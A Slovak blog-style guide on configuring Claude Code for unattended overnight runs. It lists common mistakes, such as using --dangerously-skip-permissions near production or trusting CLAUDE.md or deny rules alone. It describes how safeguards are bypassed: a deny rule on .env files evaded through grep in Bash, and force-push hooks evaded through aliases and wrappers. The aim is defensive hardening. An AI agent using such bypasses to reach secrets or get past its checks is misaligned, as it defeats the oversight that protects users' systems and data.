1. --dangerously-skip-permissions na hostiteľskom počítači s prístupom k produkcii. Browningstreet prišiel o produkčnú a vývojovú databázu po jedinom príkaze „upratať“. Chyba stojí hodiny obnovy a navyše prídete o údaje, ktoré nie sú v zálohe. Ak už k incidentu došlo, otvorte „Čo robiť, keď AI odstránila databázu: kontrolný zoznam obnovy“ a postupujte podľa 10 krokov v poradí.

2. Spoliehanie sa pri zabezpečení iba na CLAUDE.md. Problém #44868 dokázal, že model najprv koná a ospravedlňuje sa až potom. Odporúčacia inštrukcia v textovom súbore nezablokuje volanie nástroja. Správne nastavený hook môže blokovať zodpovedajúce volania, zatiaľ čo OS, sandbox a prístupové práva služby vynucujú širšie hranice. CLAUDE.md je dôležitý pre kontext projektu — samostatne som o ňom písal v „Ako správne nakonfigurovať CLAUDE.md“ — ale pred autonómnym agentom vás neochráni.

3. Spoliehanie sa iba na permissions.deny v settings.json, bez dodatočného hooku. Problém #24846 je otvorený od februára 2026. Pravidlo deny pre .env* možno obísť cez grep v Bash. Hook môže pridať kontroly, no tajomstvá musia byť aj vylúčené z prostredia bez dozoru; regex úplne nenahrádza riadenie prístupu.

4. Považovanie auto-mode s regexovými hookmi za produkčnú izoláciu. Citovaná miera nezachytenia patrí konkrétnemu hodnoteniu a pokrytie hookov je neúplné. Odstráňte produkčné oprávnenia na zápis a overte vynucovanú hranicu namiesto predpokladu zachytenia každej nebezpečnej akcie.

5. Inštalácia nového balíka cez npm install bez potvrdenia. Útoky na dodávateľský reťazec sú skutočné. Incidenty Tea-tags v rokoch 2024–2026 ukázali, že existujú balíky s preklepovými názvami a tisíckami stiahnutí. Potrebujete zoznam povolených balíkov.

6. Nezaznamenávanie volaní Bash. Bez auditného záznamu nebudete vedieť, čo sa cez noc stalo. Prepis chatu je dlhý, nie je indexovaný podľa príkazu a neposkytuje časovú os. .claude/audit.jsonl rieši oba problémy.

7. Nepoužívanie worktree pre relácie na pozadí. Paralelné relácie v jednom adresári si navzájom zasahujú do práce. Claude Code má worktree.bgIsolation, ktoré je predvolene zapnuté od verzie 2.1.143, no skontrolujte svoje nastavenia.

A to hlavné, čomu nedokáže zabrániť žiadny hook ani nastavenie:

Táto veta nie je o štýle. Za ochranu produkcie zodpovedá ten, kto agenta spustil. Claude Code funguje ako priama žiletka: môžete sa ňou oholiť, ale môžete sa aj porezať. Konfigurácia odpovedá na jednu otázku: pripravili ste prostredie dostatočne dobre na to, aby žiletka neporezala nič, čo nemá?

Ďalšie zdroje nájdete na Ailoot.

Viac podrobností

Otázky a odpovede: Ako nakonfigurovať Claude Code, aby vám cez noc nerozbil projekt

Ochráni hook proti force-push produkciu pred každým príkazom shellu?

Nie. Opravený príklad blokuje rozpoznané doslovné git push vrátane oboch poradí príznakov, implicitných vetiev, refspecov a bežných reťazcov shellu. Aliasy, wrappery a skladané príkazy môžu kontrolu obísť; vynucujte chránené vetvy a odstráňte oprávnenia na obídenie.

Čo je potrebné pred ponechaním agenta cez noc?

Použite izolované prostredie bez produkčného zápisu a čitateľných tajomstiev, overte sieťové a serverové obmedzenia a otestujte zamýšľané zhody aj nezachytené prípady hooku. Hooky pridávajú kontroly, nenahrádzajú vynucované hranice.

Všetky články